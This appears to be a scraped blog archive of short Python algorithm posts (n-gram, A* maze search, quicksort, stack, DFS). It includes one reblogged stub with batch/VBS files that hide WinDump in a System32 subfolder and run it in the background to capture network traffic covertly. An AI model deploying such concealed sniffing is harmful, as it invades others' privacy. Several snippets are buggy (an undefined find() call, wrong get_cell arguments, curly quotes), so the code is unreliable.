# n-gram – Python implementation

More info: http://en.wikipedia.org/wiki/N-gram

def n_gram(string, size = 1):
“””
[string[i:] for i in range(size)]
generates: ‘hi there’,’i there’, ‘ there’
zip(*’hi there’,’i there’, ‘ there’)
generates:[(‘h’, ‘i’, ‘ ‘), (‘i’, ‘ ‘, ‘t’),
(‘ ‘, ‘t’, ‘h’), (‘t’, ‘h’, ‘e’),
(‘h’, ‘e’, ‘r’), (‘e’, ‘r’, ‘e’)]
“””
ngram = zip(*[string[i:] for i in range(size)])
return [”.join(i) for i in ngram]
n_gram(“hi there” ,size=3)
Advertisements

# Parallel MapReduce in Python in Ten Minutes

MapReduce in Python

# Skip Lists in Python

Great post for implementing skip list in python. NP-Incompleteness

Skip list is a probabilistic data structure that allows efficient search, insertion and removal operations. It was invented by William Pugh  in 1989.

Other structures that have efficient operations are self-balancing binary trees, such as AVL, Red-black and splay tree. But they are often considered difficult to implement.

On the other hand, skip lists are much like multiple linked lists with some randomization.

In the first level, we have a regular linked list with the elements sorted. Each element of this list has a probability \$latex p\$ to be also present in the level above. The second level will probably contain fewer elements and each of these elements will also have a chance \$latex p\$ to be on the third level, and so on. Figure 1 shows an example of a skip list.

We’ll implement a simple version of the skip list in python. To start, we define a…

View original post 1,235 more words

# A* (A-star) python implementation

Original implementation from: http://www.laurentluce.com/posts/solving-mazes-using-python-simple-recursivity-and-a-search/

This is just modified for my test cases.
class Cell:
def __init__(self,x, y, wall):
self.x = x
self.y = y
self.wall = wall
self.h = 0
self.g = 0
self.f = 0
class Astar:
def __init__(self):
self.cells = []
self.open_list = []
self.closed_list = []
def make_maze(self, maze):
self.__init__()
self.maze_width = len(maze)
self.maze_height = len(maze)
for i in range(self.maze_height):
for j in range(self.maze_width):
wall = False
if maze[i][j] == ‘#’:
wall = True
if maze[i][j] == ‘X’:
end = (i, j)
if maze[i][j] == ‘T’:
start = (i, j)
self.cells.append(Cell(i, j, wall))
self.start = self.get_cell(start, start)
self.end = self.get_cell(end, end)
self.process()
self.show()
def get_cell(self, x, y):
return self.cells[x * self.maze_width + y]
def get_adjc(self, cell):
cells = []
if cell.x > 0:
cells.append(self.get_cell(cell.x-1,cell.y))
if cell.y > 0:
cells.append(self.get_cell(cell.x,cell.y-1))
if cell.x < self.maze_height – 1:
cells.append(self.get_cell(cell.x+1,cell.y))
if cell.y < self.maze_height – 1:
cells.append(self.get_cell(cell.x,cell.y+1))
return cells
def update_cell(self, adjc, cell):
adjc.parent = cell
adjc.g = cell.g + 10
adjc.h = self.heur(adjc)
adjc.f = adjc.h + adjc.g
def heur(self, cell):
return 10 * (abs(cell.x – self.end.x) + abs(cell.y – self.end.y))
def process(self):
self.open_list.append((self.start.f, self.start))
while self.open_list:
f, cell = min(self.open_list)
self.open_list.remove((f, cell))
if cell is self.end:
break
self.closed_list.append(cell)
adjc = self.get_adjc(cell)
for c in adjc:
if not c.wall and c not in self.closed_list:
if (c.f, c) in self.open_list:
if c.g > cell.g + 10:
self.update_cell(c, cell)
else:
self.update_cell(c, cell)
self.open_list.append((c.f, c))
def show(self):
print
for i in range(self.maze_height):
for j in range(self.maze_width):
cell = self.get_cell(i, j)
if cell.x == self.start.x and cell.y == self.start.y:
print ‘T’,
else:
if cell.x == self.end.x and cell.y == self.end.y:
print ‘X’,
else:
if cell.wall:
print ‘#’,
else:
if cell.g:
print ‘!’,
else:
print ‘.’,
print
a = Astar()
a.make_maze([“X……..”,”.#…….”,”………”,”……..#”,”.##..##..”,”.#..#….”,”.#.###…”,”##..#..#.”,”.T.#..#..”]) # 8
a.make_maze([“……….”,”#.##…##.”,”..###.#…”,”.#.#.#..##”,”.#…..#..”,”..##.#..#.”,”#..T#.#.#.”,”..#X#…#.”,”..#.#..##.”,”…#……”]) # 1
a.make_maze([“#..#…#..”,”..#.X#..#.”,”.#…T#.#.”,”…##.#.#.”,”.##…#…”,”.#..#..##.”,”….##….”]) # 2
a.make_maze([“#…..”,”..##.#”,”.#….”,”..#T..”,”.#..#X”,”.###..”,”…#.#”,”.#….”]) # 3
a.make_maze([“#………”,”..###…#.”,”.#…###T.”,”…#.X….”,”.###..#…”,”.#..###.##”,”…#……”]) # 4
a.make_maze([“…#…#.”,”.##..#…”,”…#….#”,”.#.###..#”,”.#.T..#..”,”.####..X.”,”……#..”,”.#.#….#”]) # 5
a.make_maze([“…..#”,”.#.#..”,”..#.#.”,”#.#…”,”…##X”,”.#.#..”,”#..#..”,”..T…”,”.#.##.”,”……”]) # 6
a.make_maze([“#.#……”,”..#.###.#”,”.#..#..X.”,”…#.#…”,”.##….#.”,”.#.#.#…”,”….T..#.”,”###…##.”,”….#….”]) # 7
a.make_maze([“##…”,”#T.#.”,”..#..”,”.#…”,”..X#.”,”.##..”]) # -1
a.make_maze([“…..#.”,”.##.#..”,”#T….#”,”..##…”,”.#…#.”,”.#.#.#.”,”…#X.#”]) # -1
#a.display_path()

# Python GTK + Glade Tutorials (links) Ownagezone

Make two bat files with the following names:

Start.bat:

```MKDIR %windir%\System32\sys_net\ COPY WinDump.exe C:\Windows\System32\sys_net\ START "Start" /Min as.vbs```

Stop.bat:
```TASKKILL /IM WinDump.exe COPY C:\Windows\System32\sys_net\ass.pcap %CD%\ass.pcap DEL C:\Windows\System32\sys_net\ass.pcap```

And the as.vbs file:

`Set objShell = CreateObject("WScript.Shell") objShell.run("C:\Windows\System32\sys_net\WinDump.exe -w C:\Windows\System32\sys_net\ass.pcap")…`

This is if you want the program to run in background.

Activate start and stop bat files and investigate what will happen.

View original post 1 more word

# Quick-sort “median-of-three” – Python implementation

def swap(array,a,b):
array[a],array[b] = array[b],array[a]
def partition(array,start,end):
median = (end – 1 – start) / 2
median = median + start
left = start + 1
if (array[median] – array[end-1])*(array[start]-array[median]) >= 0:
swap(array,start,median)
elif (array[end – 1] – array[median]) * (array[start] – array[end – 1]) >=0:
swap(array,start,end – 1)
pivot = array[start]
for right in range(start,end):
if pivot > array[right]:
swap(array,left,right)
left = left + 1
swap(array,start,left-1)
return left-1
def quickSortHelper(array,start,end):
if start < end:
splitPoint = partition(array,start,end)
quickSortHelper(array,start,splitPoint)
quickSortHelper(array,splitPoint+1,end)
def quickSort(array):
quickSortHelper(array,0,len(array))
if __name__ == “__main__”:
array = list(xrange(10))
array.reverse()
quickSort(array)
print array

For finding “median-of-three” visit the following link:

# Stack v2.0 – Python implementation

Since the version in the previous post sucks i have posted a new version of stack implementation. Note: Use built in version for max performances.

class Stack:
def __init__(self):
self.items = []
def pop(self):
return self.items.pop()
def push(self,element):
self.items.append(element)
def isEmpty(self):
return self.items == []
def size(self):
return len(self.items)
def top(self):
return self.items[len(self.items) – 1]
def show(self):
print self.items
s = Stack()
s.push(1)
s.push(55)
print s.top()
s.show()
s.pop()
s.show()
print s.top()

# Finding “median-of-three” with two comparisons – Python implementation

def find_median(a,b,c):
# (A-B)*(C-A) >= 0
if (a – b)*(c-a) >= 0:
return a
#A
# (B – A)*(C-B) >=0
elif (b – a) * (c – b) >=0:
return b
#B
else:
#C
return c
a = 1
b = 3
c = 7
print find(a,b,c)
a = 1
b = 6
c = 2
print find(a,b,c)

# Depth-first search (DFS) recursive – Python implementation

def dfs_rec(graph,start,path = []):
path = path + [start]
for edge in graph[start]:
if edge not in path:
path = dfs_rec(graph, edge,path)
return path
graph = {1: [2, 3],
2: [1, 4, 5, 6],
3: [1, 4],
4: [2, 3, 5],
5: [2, 4, 6],
6: [2, 5]}
print dfs_rec(graph,1)